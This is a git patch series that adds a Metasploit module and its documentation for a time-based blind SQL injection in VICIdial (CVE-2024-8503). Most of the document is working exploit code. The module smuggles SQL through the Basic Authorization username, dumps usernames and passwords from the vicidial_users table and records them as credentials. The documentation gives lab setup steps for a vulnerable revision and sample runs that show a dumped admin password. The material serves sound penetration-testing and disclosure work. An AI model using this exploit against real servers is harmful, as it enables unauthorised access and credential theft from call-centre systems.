From 4140808c68587d419305b4cd742f228e543eb9db Mon Sep 17 00:00:00 2001 From: Chocapikk Date: Wed, 11 Sep 2024 02:25:31 +0200 Subject: [PATCH 1/5] Add VICIdial Time-based SQL Injection Module for Admin Credential Enumeration --- .../http/vicidial_sql_enum_users_pass.rb | 89 +++++++++++++++++++ 1 file changed, 89 insertions(+) create mode 100644 modules/auxiliary/scanner/http/vicidial_sql_enum_users_pass.rb diff --git a/modules/auxiliary/scanner/http/vicidial_sql_enum_users_pass.rb b/modules/auxiliary/scanner/http/vicidial_sql_enum_users_pass.rb new file mode 100644 index 000000000000..f8c61d62a7f3 --- /dev/null +++ b/modules/auxiliary/scanner/http/vicidial_sql_enum_users_pass.rb @@ -0,0 +1,89 @@ +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::SQLi + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Vicidial SQL Injection Time-based Admin Credentials Enumeration', + 'Description' => %q{ + This module exploits a time-based SQL injection vulnerability in VICIdial, allowing attackers + to dump admin credentials (usernames and passwords) via SQL injection. + }, + 'Author' => [ + 'Valentin Lobstein', # Metasploit Module + 'Jaggar Henry of KoreLogic, Inc.' # Vulnerability Discovery + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['URL', 'https://korelogic.com/Resources/Advisories/KL-001-2024-011.txt'], + ['CVE', '2024-8503'] + ], + 'DisclosureDate' => '2024-09-10', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) + + register_options( + [ + Opt::RHOST(), + Opt::RPORT(80), + OptString.new('TARGETURI', [true, 'Base path of the VICIdial instance', '/']), + OptInt.new('SqliDelay', [true, 'Delay in seconds for SQL Injection sleep', 1]) + ] + ) + end + + def run + print_status('Checking if target is vulnerable...') + + setup_sqli + return print_error('Target is not vulnerable.') unless @sqli.test_vulnerable + + print_good('Target is vulnerable to SQL injection.') + + admin_credentials = retrieve_admin_credentials + return print_error('Failed to retrieve admin credentials.') unless admin_credentials + + print_good("Admin username: #{admin_credentials[:username]}") + print_good("Admin password: #{admin_credentials[:password]}") + end + + def retrieve_admin_credentials + username_query = "SELECT user FROM vicidial_users WHERE user_level = 9 AND modify_same_user_level = '1' LIMIT 1" + admin_username = @sqli.run_sql(username_query) + return unless admin_username + + password_query = "SELECT pass FROM vicidial_users WHERE user = '#{admin_username}' LIMIT 1" + admin_password = @sqli.run_sql(password_query) + return unless admin_password + + { username: admin_username, password: admin_password } + end + + def setup_sqli + @sqli = create_sqli( + dbms: MySQLi::TimeBasedBlind, + opts: { hex_encode_strings: true } + ) do |payload| + random_username = Rex::Text.rand_text_alphanumeric(8) + + username = "#{random_username}', '', (#{payload}));# " + credentials = "#{username}:password" + credentials_base64 = Rex::Text.encode_base64(credentials) + + send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'VERM', 'VERM_AJAX_functions.php'), + 'vars_get' => { 'function' => 'log_custom_report' }, + 'headers' => { + 'Authorization' => "Basic #{credentials_base64}" + } + }) + end + end +end From 550a376210be4269f3168f2ee96115280f80d8c3 Mon Sep 17 00:00:00 2001 From: Chocapikk Date: Wed, 11 Sep 2024 21:17:44 +0200 Subject: [PATCH 2/5] Add suggestions + documentation --- .../http/vicidial_sql_enum_users_pass.md | 73 +++++++++++++++++++ .../http/vicidial_sql_enum_users_pass.rb | 45 +++++++----- 2 files changed, 99 insertions(+), 19 deletions(-) create mode 100644 documentation/modules/auxiliary/scanner/http/vicidial_sql_enum_users_pass.md diff --git a/documentation/modules/auxiliary/scanner/http/vicidial_sql_enum_users_pass.md b/documentation/modules/auxiliary/scanner/http/vicidial_sql_enum_users_pass.md new file mode 100644 index 000000000000..64bd75c3932f --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/vicidial_sql_enum_users_pass.md @@ -0,0 +1,73 @@ +## Vulnerable Application + +This module exploits a single authenticated SQL Injection vulnerability in VICIdial, affecting version 2.14-917a. + +VICIdial does not encrypt passwords by default. + +VICIBox/VICIdial includes an auto-update mechanism, so be aware for creating vulnerable boxes. + +### Install + +#### 9.0.3 & 10.0.0 + +1. Install the following OpenSUSE 10 ISO +- [ViciBox_v9.x86_64-9.0.3.iso](http://download.vicidial.com/iso/vicibox/server/ViciBox_v9.x86_64-9.0.3.iso) +or +- [ViciBox_v10.x86_64-10.0.0.iso](http://download.vicidial.com/iso/vicibox/server/archive/ViciBox_v10.x86_64-10.0.0.iso) : + 1. Change the default password (`root`:`vicidial`) + 2. Set Timezone, Keyboard Layout, ok the license, and Language + 3. Network settings should autoconfigure (Tested on VMware Fusion). Network settings can be configured with the + command `yast lan` if necessary +2. Run `vicibox-express` to initiate the ViciDial Express Installation, everything can be kept as default +3. Navigate to `http:///` + 1. Click `Administration` and login with default credentials username: `6666`, password: `1234` + 2. Once logged in, Click `Continue on to the Initial Setup`. Everything can be kept as default. +4. The complete list of setup instructions can be found by following this +[link](http://download.vicidial.com/iso/vicibox/server/ViciBox_v9-install.pdf) + + +## Verification Steps + +1. Start msfconsole +1. Do: `use auxiliary/scanner/http/vicidial_sql_enum_users_pass` +1. Do: `set RHOSTS ` +1. Do: `set RPORT ` +1. Do: `set TARGETURI ` +1. Do: `set COUNT ` +1. Do: `set SqliDelay ` +1. Do: `run` +1. The module will exploit the SQL injection and return the extracted usernames and passwords + +## Options + +### COUNT + +Number of records to dump. Defaults to 1. + +### SqliDelay + +Delay in seconds for SQL Injection sleep. Defaults to 1. + +## Scenarios + +### ViciBox 9.0.3 + +``` +msf6 auxiliary(scanner/http/vicidial_sql_enum_users_pass) > run https://192.168.1.100 +[*] Running module against 192.168.1.100 + +[*] Checking if target is vulnerable... +[+] Target is vulnerable to SQL injection. +[*] {SQLi} Executing (select group_concat(aR) from (select cast(concat_ws(';',ifnull(User,''),ifnull(Pass,'')) as binary) aR from vicidial_users limit 1) juBM) +[*] {SQLi} Encoded to (select group_concat(aR) from (select cast(concat_ws(0x3b,ifnull(User,repeat(0x5b,0)),ifnull(Pass,repeat(0x7d,0))) as binary) aR from vicidial_users limit 1) juBM) +[*] {SQLi} Time-based injection: expecting output of length 16 +[+] Dumped table contents: +vicidial_users +============== + + User Pass + ---- ---- + 6666 aLLah4465 + +[*] Auxiliary module execution completed +``` diff --git a/modules/auxiliary/scanner/http/vicidial_sql_enum_users_pass.rb b/modules/auxiliary/scanner/http/vicidial_sql_enum_users_pass.rb index f8c61d62a7f3..10ad6e1e361e 100644 --- a/modules/auxiliary/scanner/http/vicidial_sql_enum_users_pass.rb +++ b/modules/auxiliary/scanner/http/vicidial_sql_enum_users_pass.rb @@ -34,7 +34,8 @@ def initialize(info = {}) Opt::RHOST(), Opt::RPORT(80), OptString.new('TARGETURI', [true, 'Base path of the VICIdial instance', '/']), - OptInt.new('SqliDelay', [true, 'Delay in seconds for SQL Injection sleep', 1]) + OptInt.new('SqliDelay', [true, 'Delay in seconds for SQL Injection sleep', 1]), + OptInt.new('COUNT', [true, 'Number of records to dump', 1]) ] ) end @@ -47,23 +48,28 @@ def run print_good('Target is vulnerable to SQL injection.') - admin_credentials = retrieve_admin_credentials - return print_error('Failed to retrieve admin credentials.') unless admin_credentials + columns = ['User', 'Pass'] + data = @sqli.dump_table_fields('vicidial_users', columns, '', datastore['COUNT']) - print_good("Admin username: #{admin_credentials[:username]}") - print_good("Admin password: #{admin_credentials[:password]}") - end - - def retrieve_admin_credentials - username_query = "SELECT user FROM vicidial_users WHERE user_level = 9 AND modify_same_user_level = '1' LIMIT 1" - admin_username = @sqli.run_sql(username_query) - return unless admin_username - - password_query = "SELECT pass FROM vicidial_users WHERE user = '#{admin_username}' LIMIT 1" - admin_password = @sqli.run_sql(password_query) - return unless admin_password - - { username: admin_username, password: admin_password } + table = Rex::Text::Table.new('Header' => 'vicidial_users', 'Indent' => 4, 'Columns' => columns) + data.each do |user| + create_credential({ + workspace_id: myworkspace_id, + origin_type: :service, + module_fullname: fullname, + username: user[0], + private_type: :password, + private_data: user[1], + service_name: 'VICIdial', + address: datastore['RHOSTS'], + port: datastore['RPORT'], + protocol: 'tcp', + status: Metasploit::Model::Login::Status::UNTRIED + }) + table << user + end + print_good('Dumped table contents:') + print_line(table.to_s) end def setup_sqli @@ -71,10 +77,11 @@ def setup_sqli dbms: MySQLi::TimeBasedBlind, opts: { hex_encode_strings: true } ) do |payload| - random_username = Rex::Text.rand_text_alphanumeric(8) + random_username = Rex::Text.rand_text_alphanumeric(6, 8) + random_password = Rex::Text.rand_text_alphanumeric(6, 8) username = "#{random_username}', '', (#{payload}));# " - credentials = "#{username}:password" + credentials = "#{username}:#{random_password}" credentials_base64 = Rex::Text.encode_base64(credentials) send_request_cgi({ From 644b15e42124fd8c54ca672f587274557c9a3587 Mon Sep 17 00:00:00 2001 From: Chocapikk Date: Wed, 11 Sep 2024 21:31:52 +0200 Subject: [PATCH 3/5] Add header --- .../auxiliary/scanner/http/vicidial_sql_enum_users_pass.rb | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/modules/auxiliary/scanner/http/vicidial_sql_enum_users_pass.rb b/modules/auxiliary/scanner/http/vicidial_sql_enum_users_pass.rb index 10ad6e1e361e..4215b1b188f3 100644 --- a/modules/auxiliary/scanner/http/vicidial_sql_enum_users_pass.rb +++ b/modules/auxiliary/scanner/http/vicidial_sql_enum_users_pass.rb @@ -1,3 +1,8 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Exploit::SQLi From 04711c44163db939a7782fc5aa09c2d032873ed9 Mon Sep 17 00:00:00 2001 From: Chocapikk Date: Thu, 12 Sep 2024 22:58:44 +0200 Subject: [PATCH 4/5] Add suggestions --- .../scanner/http/vicidial_sql_enum_users_pass.rb | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/scanner/http/vicidial_sql_enum_users_pass.rb b/modules/auxiliary/scanner/http/vicidial_sql_enum_users_pass.rb index 4215b1b188f3..bfdc7f774bb0 100644 --- a/modules/auxiliary/scanner/http/vicidial_sql_enum_users_pass.rb +++ b/modules/auxiliary/scanner/http/vicidial_sql_enum_users_pass.rb @@ -17,7 +17,7 @@ def initialize(info = {}) to dump admin credentials (usernames and passwords) via SQL injection. }, 'Author' => [ - 'Valentin Lobstein', # Metasploit Module + 'Valentin Lobstein', # Metasploit Module 'Jaggar Henry of KoreLogic, Inc.' # Vulnerability Discovery ], 'License' => MSF_LICENSE, @@ -26,6 +26,10 @@ def initialize(info = {}) ['CVE', '2024-8503'] ], 'DisclosureDate' => '2024-09-10', + 'DefaultOptions' => { + 'SqliDelay' => 1, + 'VERBOSE' => true + }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS], @@ -36,10 +40,7 @@ def initialize(info = {}) register_options( [ - Opt::RHOST(), - Opt::RPORT(80), OptString.new('TARGETURI', [true, 'Base path of the VICIdial instance', '/']), - OptInt.new('SqliDelay', [true, 'Delay in seconds for SQL Injection sleep', 1]), OptInt.new('COUNT', [true, 'Number of records to dump', 1]) ] ) @@ -66,7 +67,7 @@ def run private_type: :password, private_data: user[1], service_name: 'VICIdial', - address: datastore['RHOSTS'], + address: datastore['RHOST'], port: datastore['RPORT'], protocol: 'tcp', status: Metasploit::Model::Login::Status::UNTRIED From f62f5b2c9c946dfe939638fbb5fa2ffa25ca2d4c Mon Sep 17 00:00:00 2001 From: Chocapikk Date: Wed, 18 Sep 2024 16:30:07 +0200 Subject: [PATCH 5/5] Add working documentation --- .../http/vicidial_sql_enum_users_pass.md | 172 +++++++++++++++--- 1 file changed, 149 insertions(+), 23 deletions(-) diff --git a/documentation/modules/auxiliary/scanner/http/vicidial_sql_enum_users_pass.md b/documentation/modules/auxiliary/scanner/http/vicidial_sql_enum_users_pass.md index 64bd75c3932f..baec4816e6f0 100644 --- a/documentation/modules/auxiliary/scanner/http/vicidial_sql_enum_users_pass.md +++ b/documentation/modules/auxiliary/scanner/http/vicidial_sql_enum_users_pass.md @@ -4,27 +4,153 @@ This module exploits a single authenticated SQL Injection vulnerability in VICId VICIdial does not encrypt passwords by default. -VICIBox/VICIdial includes an auto-update mechanism, so be aware for creating vulnerable boxes. +VICIBox/VICIdial includes an auto-update mechanism, so be aware when creating vulnerable boxes. ### Install -#### 9.0.3 & 10.0.0 +#### Version 11.0.1 Setup -1. Install the following OpenSUSE 10 ISO -- [ViciBox_v9.x86_64-9.0.3.iso](http://download.vicidial.com/iso/vicibox/server/ViciBox_v9.x86_64-9.0.3.iso) -or -- [ViciBox_v10.x86_64-10.0.0.iso](http://download.vicidial.com/iso/vicibox/server/archive/ViciBox_v10.x86_64-10.0.0.iso) : - 1. Change the default password (`root`:`vicidial`) - 2. Set Timezone, Keyboard Layout, ok the license, and Language - 3. Network settings should autoconfigure (Tested on VMware Fusion). Network settings can be configured with the - command `yast lan` if necessary -2. Run `vicibox-express` to initiate the ViciDial Express Installation, everything can be kept as default -3. Navigate to `http:///` - 1. Click `Administration` and login with default credentials username: `6666`, password: `1234` - 2. Once logged in, Click `Continue on to the Initial Setup`. Everything can be kept as default. -4. The complete list of setup instructions can be found by following this -[link](http://download.vicidial.com/iso/vicibox/server/ViciBox_v9-install.pdf) +1. **Download the ISO**: + [ViciBox_v11.x86_64-11.0.1-md.iso](http://download.vicidial.com/iso/vicibox/server/ViciBox_v11.x86_64-11.0.1-md.iso) +2. **Create a VM**: + - Connect to the shell using the default credentials: + `root:vicidial` (Note: The keyboard layout is QWERTY by default). + +3. **Run the setup and reboot the VM**: + - After rebooting, **do not** run the command `/usr/local/bin/vicibox-install` until after the next step. + +4. **Vulnerable Revision Setup**: + - Run the following command to install a vulnerable version of VICIdial: +``` +svn checkout -r 3830 svn://svn.eflo.net:3690/agc_2-X/trunk /usr/src/astguiclient/trunk +``` + - Revision 3830 is vulnerable to both SQL Injection and RCE. + - Note: The CVEs have been patched starting from revision 3848. + +5. **Legacy Installation**: + - Run the installation in legacy mode: +``` +vicibox-install --legacy +``` + +6. **Installer Output Example**: +``` +vicibox11:~ # vicibox-install --legacy + +ViciBox Installer + +Legacy mode activated +Use of uninitialized value $string in substitution (s///) at /usr/local/bin/vicibox-install line 137. +Use of uninitialized value $string in substitution (s///) at /usr/local/bin/vicibox-install line 138. +Use of uninitialized value $string in substitution (s///) at /usr/local/bin/vicibox-install line 137. +Use of uninitialized value $string in substitution (s///) at /usr/local/bin/vicibox-install line 138. + +The installer will ask questions based upon the role that this server is +to provide for the ViciBox Call Center Suite. You should have the database +and optionally archive servers setup prior to installing any other servers. +The installer will not run without there being a configured database! If this +server is to be the database then it must be installed before the archive server. +Verify that all servers are connected to the same network and have connectivity +to each other before continuing. This installer will be destructive to the server if it is run. + +Do you want to continue with the ViciBox install? [y/N] : y + +Do you want to enable expert installation? [y/N] : + +The Internal IP address found was 192.168.1.4. +Do you want to use this IP address for ViciDial? [Y/n] : y + +Will this server be used as the Database? [y/N] : y +Do you want to use the default ViciDial DB settings? [Y/n] : y + +Will this server be used as a Web server? [y/N] : y + +Will this server be used as a Telephony server? [y/N] : y + +Will this server be used as an Archive server? [y/N] : y +Archive server IP (192.168.1.4) : +Archive FTP User (cronarchive) : +Archive FTP Password (archive1234) : +Archive FTP Port (21) : +Archive FTP Directory () : +Archive URL (http://192.168.1.4/archive/) : +Use of uninitialized value $localsvn in concatenation (.) or string at /usr/local/bin/vicibox-install line 1513, line 14. + +The local SVN is build 240419-1817 version 2.14-916a from SVN +Do you want to use the ViciDial version listed above? [Y/n] : y + +Do you want to disable the built-in firewall? [y/N] : y + + +--- ViciBox Install Summary --- + +Expert : No +Legacy : Yes +Database : Yes +Web : Yes +Telephony: Yes +First Srv: Yes +Have Arch: No +Archive : Yes +Firewall : Disabled + +--- Configuration Information --- +- Database - +Use of uninitialized value $DBsvnrev in concatenation (.) or string at /usr/local/bin/vicibox-install line 1609, line 16. +SVN Rev : +IP Addr : 192.168.1.4 +Name : asterisk +User : cron +Password : 1234 +Cust User: custom +Cust Pass: custom1234 +Port : 3306 + + +Please verify the above information before continuing! +Do you want to continue the installation? [y/N] : y + + +Beginning installation, expect lots of output... + +Disabling firewall... +Removed /etc/systemd/system/multi-user.target.wants/firewalld.service. +Removed /etc/systemd/system/dbus-org.fedoraproject.FirewallD1.service. +Use of uninitialized value $DBsvnrev in numeric ne (!=) at /usr/local/bin/vicibox-install line 208, line 17. +Use of uninitialized value $localsvn in numeric ne (!=) at /usr/local/bin/vicibox-install line 208, line 17. +Use of uninitialized value $DBsvnrev in concatenation (.) or string at /usr/local/bin/vicibox-install line 218, line 17. +Local SVN revision matches DB revision: +Doing general DataBase requirements... +Doing Master-specific MySQL setup... +Configuring Web Server... +Created symlink /etc/systemd/system/httpd.service → /usr/lib/systemd/system/apache2.service. +Created symlink /etc/systemd/system/apache.service → /usr/lib/systemd/system/apache2.service. +Created symlink /etc/systemd/system/multi-user.target.wants/apache2.service → /usr/lib/systemd/system/apache2.service. +Configuring Telephony Server... +Configuring Archive Server... +Nouveau mot de passe : MOT DE PASSE INCORRECT : trop simple/systématique +Retapez le nouveau mot de passe : passwd: password updated successfully +Created symlink /etc/systemd/system/multi-user.target.wants/vsftpd.service → /usr/lib/systemd/system/vsftpd.service. +Loading GMT and Phone Codes... + +Seeding the audio store, this may take a while... + +PLEASE use secure passwords inside vicidial. It prevents hackers +and other undesirables from compromising your system and costing +you thousands in toll fraud and long distance. A secure password +Contains at least one capital letter and one number. A good example +of a secure password would be NrWZDqL1Rg37uuC. + +Don't feed the black market, secure your systems properly! + +System should be installed. Please type 'reboot' to cleanly load everything. + +``` + +7. **Post-Installation**: + - After installation, **reboot** the system. + - Access the web panel by navigating to the administration page and completing the initial setup. ## Verification Steps @@ -50,24 +176,24 @@ Delay in seconds for SQL Injection sleep. Defaults to 1. ## Scenarios -### ViciBox 9.0.3 +### ViciBox 11.0.1 ``` -msf6 auxiliary(scanner/http/vicidial_sql_enum_users_pass) > run https://192.168.1.100 -[*] Running module against 192.168.1.100 +msf6 auxiliary(scanner/http/vicidial_sql_enum_users_pass) > run http://192.168.1.4 +[*] Running module against 192.168.1.4 [*] Checking if target is vulnerable... [+] Target is vulnerable to SQL injection. -[*] {SQLi} Executing (select group_concat(aR) from (select cast(concat_ws(';',ifnull(User,''),ifnull(Pass,'')) as binary) aR from vicidial_users limit 1) juBM) -[*] {SQLi} Encoded to (select group_concat(aR) from (select cast(concat_ws(0x3b,ifnull(User,repeat(0x5b,0)),ifnull(Pass,repeat(0x7d,0))) as binary) aR from vicidial_users limit 1) juBM) -[*] {SQLi} Time-based injection: expecting output of length 16 +[*] {SQLi} Executing (select group_concat(HCx) from (select cast(concat_ws(';',ifnull(User,''),ifnull(Pass,'')) as binary) HCx from vicidial_users limit 1) em) +[*] {SQLi} Encoded to (select group_concat(HCx) from (select cast(concat_ws(0x3b,ifnull(User,repeat(0x88,0)),ifnull(Pass,repeat(0x3f,0))) as binary) HCx from vicidial_users limit 1) em) +[*] {SQLi} Time-based injection: expecting output of length 13 [+] Dumped table contents: vicidial_users ============== User Pass ---- ---- - 6666 aLLah4465 + 6666 password [*] Auxiliary module execution completed ```